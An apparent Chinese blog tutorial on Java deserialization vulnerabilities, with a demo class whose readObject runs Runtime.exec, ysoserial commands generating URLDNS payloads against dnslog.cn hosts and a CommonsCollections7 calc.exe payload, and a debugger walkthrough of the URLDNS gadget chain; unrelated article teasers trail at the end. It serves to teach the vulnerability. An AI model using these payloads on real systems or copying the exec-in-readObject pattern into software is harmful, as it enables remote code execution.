news 2026/4/18 4:24:45

java反序列化漏洞解析+URLDNS利用链分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
java反序列化漏洞解析+URLDNS利用链分析

一些基本的概念

为什么要序列化?

1.数据持久化

2.远程传输

3.缓存 提高访问速度

什么样的数据可以进行序列化?

被序列化的类必须属于 Enum、Array 和 Serializable 类型其中的任何⼀种,否则将抛出NotSerializableException 异常

序列化:把⼀个Java对象变为 byte[] 数组,需要使⽤ ObjectOutputStream 。它负责把⼀个Java对象写⼊⼀个字节流。

反序列化:和 ObjectOutputStream 相反, ObjectInputStream 负责从⼀个字节流读取Java对象

反序列化时可能会出现的异常:

1.ClassNotFoundException :没有找到对应的Class

2.InvalidClassException :Class不匹配

serialVersionUID:Java的序列化允许class定义⼀个特殊的 serialVersionUID 静态变量,⽤于标识Java类的序列化“版本”,通常可以由IDE⾃动⽣成。如果增加或修改了字段,可以改变 serialVersionUID 的值,这样就能⾃动阻⽌不匹配的class版本。

基本的使用

写几段代码更好地去理解java序列化 反序列化的过程

1.java序列化代码

Test类:

import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public Test(String cmd) { this.cmd = cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }

主类:

import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException { Test test = new Test("calc.exe"); //将序列化内容写⼊⽂件 FileOutputStream fos = new FileOutputStream("test1.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(test); oos.close(); fos.close(); } }

2.java反序列化代码

Test类:

import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public Test(String cmd) { this.cmd = cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }

主类:

import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio = new FileInputStream("test1.ser"); ObjectInputStream ois = new ObjectInputStream(fio); Test bbbb = (Test)ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }

3.执行serialize项目序列化代码执行序列化 生成test1.ser序列化文件

010editor打开文件看下序列化的文件内容

序列化文件头AC ED 00 05

还依稀能看到我们传入的calc.exe参数

4.复制test1.ser文件到unserialize项目文件夹下 模拟序列化数据传到服务端的业务场景

运行项目 进行反序列化 成功弹出计算器

反序列化漏洞利用成功

后续测试

1.此时是服务端,也就是unserialize项目有Test类的情况

如果现在把服务端(unserialize项目)中的Test类删除,还可以正常进行反序列化弹出计算器吗?

当然删了Test会报红 需要对主类进行一些修改:

import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio = new FileInputStream("test1.ser"); ObjectInputStream ois = new ObjectInputStream(fio); Object bbbb = ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }

这时候再运行会报ClassNotFoundException

这时就无法正常进行反序列化了

2.那如果是服务端的Test类(unserialize项目)和我们生成序列化数据的类(serialize项目)不一样 服务端还可以反序列化成功吗?

还原主类 修改Test类

Test类:新加了一个aaaa的string字段

import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public String aaaa; public Test(String cmd) { this.cmd = cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }

主类:

import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio = new FileInputStream("test1.ser"); ObjectInputStream ois = new ObjectInputStream(fio); Test bbbb = (Test)ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }

执行后出现InvalidClassException异常

工具的使用

以上的代码只是一个测试的例子,实际业务中的代码不会有这种写法。那对于实际业务该如何去发现和利用反序列化漏洞呢?

首先就是看项目代码中有没有反序列化的写法,以及序列化的数据用户是不是可控的!!!

如果以上两点都满足,就可以去验证利用一下反序列化的漏洞了。

java的反序列化漏洞利用是要依赖攻击链的,我们通常称利用链为gadget,可以将 gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束。Java标准库及第三方公共类库组合达到某个反序列化漏洞,不同的攻击链依赖的组件不同,所以能达到的攻击效果也是不同的,上面的代码中的readobject()方法其实就是模拟了一个利用链。

利用链太多了,所以我们需要工具来帮助我们生成某个利用链的序列化数据payload。

比如ysoserial

ysoserial工具的使用

1.查看利用链 和依赖的组件:

java -jar ysoserial-all.jar

第三列的就是利用链要依赖的组件,必须确保利用链有引入依赖组件版本才可以利用。空白的表示不需要组件的依赖,有多个的表示服务端只要有其中一个组件就可以利用。

2.开始利用

为了方便引入各个组件 可以再新建一个maven构建系统的项目

代码如下:

package org.example; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或 // 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio = new FileInputStream("payload.ser"); ObjectInputStream ois = new ObjectInputStream(fio); Object bbbb = ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }

这次就彻底没有Test类了

我们先试一下URLDNS链 它不需要组件的依赖 我们试一试

java -jar ysoserial-all.jar URLDNS "http://d5285u.dnslog.cn" > payload1.ser

序列化的payload生成成功

复制到unserialize2项目路径下 记得改代码中的文件名

利用CommonsCollections1攻击链

需要commons-collections:3.1组件

用pom.xml导入

利用ysoserial生成paylaod

但是CommonsCollections1利用链执行失败了 可能和jdk版本有关系 后来换到了CommonsCollections7才执行成功

java -jar ysoserial-all.jar CommonsCollections7 calc.exe >payload7

毕竟CommonsCollections7利用链也是依赖ommons-collections:3.1嘛。

URLDNS利用链分析

urldns链是最简单的利用链了,通过分析它可以更清晰地了解到攻击链的调用过程,也能加深理解。

java -jar ysoserial-all.jar URLDNS http:6w1qwt.dnslog.cn > urldns

1.加断点跟进调试

2.强制步入readObject()方法

发现又调用了readObject0()方法 步入

到这儿其实已经读取序列化数据了 通过switch case语句来看到底是什么类型的对象

确认是object的类

步入readOrdinaryObject()函数

有检查序列化依赖的类是否在本地存在 依赖的是HashMap类

继续往下看 新建一个HashMap对象 当前为空

通过readSerialData()方法向新建的空的obj类型为HashMap的对象赋值

步入readSerialData()方法查看详情

有获取一些序列化的数据 判断是否存在readObject方法

继续看有通过invokeReadObject()反射函数处理obj对象

步入invokeReadObject()函数

接下来就是一连串的反射 持续跟进

再步入就到了HashMap.java 到这儿其实都是每个利用链一样的调用链 用其他利用链 比如CommonsCollections7利用链 到这儿其实都一样 接下来就是每个利用链独有的东西了。

readObject()函数的作用就是更好地还原对象

接下来有调用putVal()函数 和hash()函数

key的值便是dnslog平台的地址

步入hash()函数

当key值不为空的时候会调hashCode()函数

步入hashCode()函数 进入URL.java文件

当hashCode值为-1时 会有handler调用hashCode

步入handler.hashCode()

u就是我们传入的序列化数据的域名

有调用getHostAddress()函数

步入getHostAddress()函数

有调用InetAddress.getByName()函数

这个函数的作用呢就是根据域名解析获取到ip地址 自然会用dns解析的过程

到这儿其实这个URLDNS链就分析完成了

已经是最短的利用链了

涉及到的文件HashMap URL URLStreamHandler等都是jdk库自带的 所以不需要其他的组件就可以执行成功

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 11:11:20

LRCGET:终极歌词同步工具,让你的离线音乐库完美同步

LRCGET&#xff1a;终极歌词同步工具&#xff0c;让你的离线音乐库完美同步 【免费下载链接】lrcget Utility for mass-downloading LRC synced lyrics for your offline music library. 项目地址: https://gitcode.com/gh_mirrors/lr/lrcget 在数字音乐时代&#xff0c…

作者头像 李华
网站建设 2026/4/16 21:34:00

Vue生命周期总结(四个阶段,八个钩子函数)

目录一、Vue的生命周期阶段二、生命周期钩子函数1、创建阶段1、beforeCreate2、created &#xff08;常用&#xff09;2、挂载阶段1、beforeMount2、 mounted3、更新阶段1、beforeUpdate2、updated4、销毁阶段1、beforeDestroy2、destroyed一、Vue的生命周期阶段 vue生命周期分…

作者头像 李华
网站建设 2026/4/18 3:33:07

GeoJSON.io终极指南:快速创建和编辑地理数据的免费神器

GeoJSON.io终极指南&#xff1a;快速创建和编辑地理数据的免费神器 【免费下载链接】geojson.io A quick, simple tool for creating, viewing, and sharing spatial data 项目地址: https://gitcode.com/gh_mirrors/ge/geojson.io 想要在地图上轻松标记位置、绘制路线或…

作者头像 李华
网站建设 2026/4/18 3:33:52

MySQL索引使用--最左前缀法则

验证索引效率在未建立索引之前&#xff0c;执行如下SQL语句&#xff0c;查询SQL的耗时&#xff1a;select * from tb_sku where snSN0003450001针对字段创建索引create index idx_sku_sn on tb_sku(sn);创建完索引之后&#xff0c;再来看这条查询sql的耗时。查看sql的执行计划最…

作者头像 李华
网站建设 2026/4/18 3:26:37

Atlas200赋能水稻病虫害精准识别:AI+边缘计算守护粮食安全

Atlas200赋能水稻病虫害精准识别&#xff1a;AI边缘计算守护粮食安全 作为全球三大粮食作物之一&#xff0c;水稻的产量安全直接关系到全球粮食供给稳定。然而&#xff0c;细菌性穗枯病、稻瘟病等常见病虫害常导致水稻减产甚至绝收&#xff0c;传统人工识别方式不仅效率低下&am…

作者头像 李华
网站建设 2026/4/18 3:32:34

2025低成本学AI:实用认证推荐

在技术快速发展的今天&#xff0c;掌握相关技能已成为许多职场人士关注的方向。其中&#xff0c;人工智能相关知识的了解与应用能力&#xff0c;正在成为一项有价值的补充技能。本文将介绍几个不同方向的入门级认证&#xff0c;供有需要的学习者参考选择。CAIE注册人工智能工程…

作者头像 李华